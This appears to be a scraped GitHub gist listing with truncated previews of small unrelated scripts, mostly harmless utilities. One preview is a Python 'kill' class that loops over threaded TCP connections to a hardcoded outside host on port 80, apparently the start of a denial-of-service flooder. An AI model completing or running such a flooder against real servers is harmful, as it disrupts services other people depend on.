This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json, urllib.request, hashlib | |
from urllib.parse import quote | |
#Stole from MinecraftAPI.py @ https://raw.github.com/alecgorge/jsonapi/master/sdk/py/MinecraftApi.py | |
def urlencode(query): | |
if isinstance(query, dict): | |
query = query.items() | |
pairs = [] | |
for item in query: | |
pairs.append("%s=%s" % (item[0], quote(str(item[1])))) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
START="" | |
END="" | |
FILE="" | |
TRAILINGNL="0" | |
ODMODE="0" | |
HEXMODE="0" | |
usage () { | |
cat <<EOF | |
Usage: $(basename "$0") [-r : -w : -f : -h] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
This thing wraps Youtube embed player, so you could use it with simple controls, | |
like load/play/pause/stop. | |
Also it makes status checking more simple. | |
How to use: | |
player.loadVideo({id: "ransom id"}) [Calls player.player.cueVideoById] | |
player.stop() [Stops] | |
player.stop2() [Does player.seekTo(player.getDuration()), useful on custom playlists] | |
player.status.state [Says what's player currently doing] | |
player.status.video.id [Says what's playing currently //TODO] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Hyper minify | |
var cyclecolor = function (itemid) {var a,b,c,d,e;a=["red","orange","yellow","green","blue","violet","blue","green","yellow","orange"];b=0;c=a.length;d=function(id){e=document.getElementById(id);e.style.color=a[b];b+=1;if(b>=c){b=0};setTimeout(function(){d(id)},200);};setTimeout(function(){d(itemid);},3000)} | |
/* | |
<script type="text/javascript src="cycle.js"></script> | |
<script type="text/javascript> | |
cyclecolor("title") | |
</script> | |
<h1 id="title">My awesome title</h1> | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var randomcolor = function(itemid){var a,b='0123456789ABCDEF'.split(''),c,d,e,f=document.getElementById(itemid);a=function(){c='#';for(d=0;d<6;d++){c+=b[Math.floor(Math.random()*16)]};return c};e=function(){f.style.color=a();setTimeout(function(){e()},200)};setTimeout(function(){e()},3000)}; | |
/* | |
<div id="ilovecolors">YES I LOVE COLORS</div> | |
randomcolor("ilovecolors") | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import string, subprocess | |
proc = subprocess.Popen(["ls", "/proc"], stdout=subprocess.PIPE) | |
for k in proc.stdout.readlines(): | |
itm = k[:-1].decode() | |
if set(itm) <= set(string.digits): | |
c = open("/proc/{}/cmdline".format(itm), 'r') | |
print(c.read()) | |
c.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/bash | |
exec /usr/bin/mosh-server-real $@ -p 60100:60110 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os, socket, threading, time | |
a = 'chadillac.servebeer.com' | |
p = 80 | |
class kill(threading.Thread): | |
def __init__(self): | |
threading.Thread.__init__(self) | |
def run(self): | |
self.run = True | |
while self.run: | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/system/bin/sh | |
bbox=$(which busybox) | |
fivehundredpath="/data/data/eu.chainfire.firepaper.fivehundredpx" | |
firesave="/sdcard/firesave" | |
[ ! -x "$(which su)" ] && echo "You don't have root!" && exit 1 | |
[ ! -x "$bbox" ] && echo "You don't have busybox installed(Or it's not in \$PATH?)." && exit 1 | |
[ ! -d "$fivehundredpath" ] && echo "You haven't runned 500 Firepaper or it's not installed!" && exit 1 | |
[ ! -d "$firesave" ] && mkdir "$firesave" | |
echo "Copying..." | |
su -c "cp $fivehundredpath/files/image* $firesave/" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import smbus | |
from time import sleep | |
class i2c_device: | |
def __init__(self, addr, port): | |
self.addr = addr | |
self.bus = smbus.SMBus(port) | |
def write(self, byte): | |
self.bus.write_byte(self.addr, byte) | |
def read(self): |
OlderNewer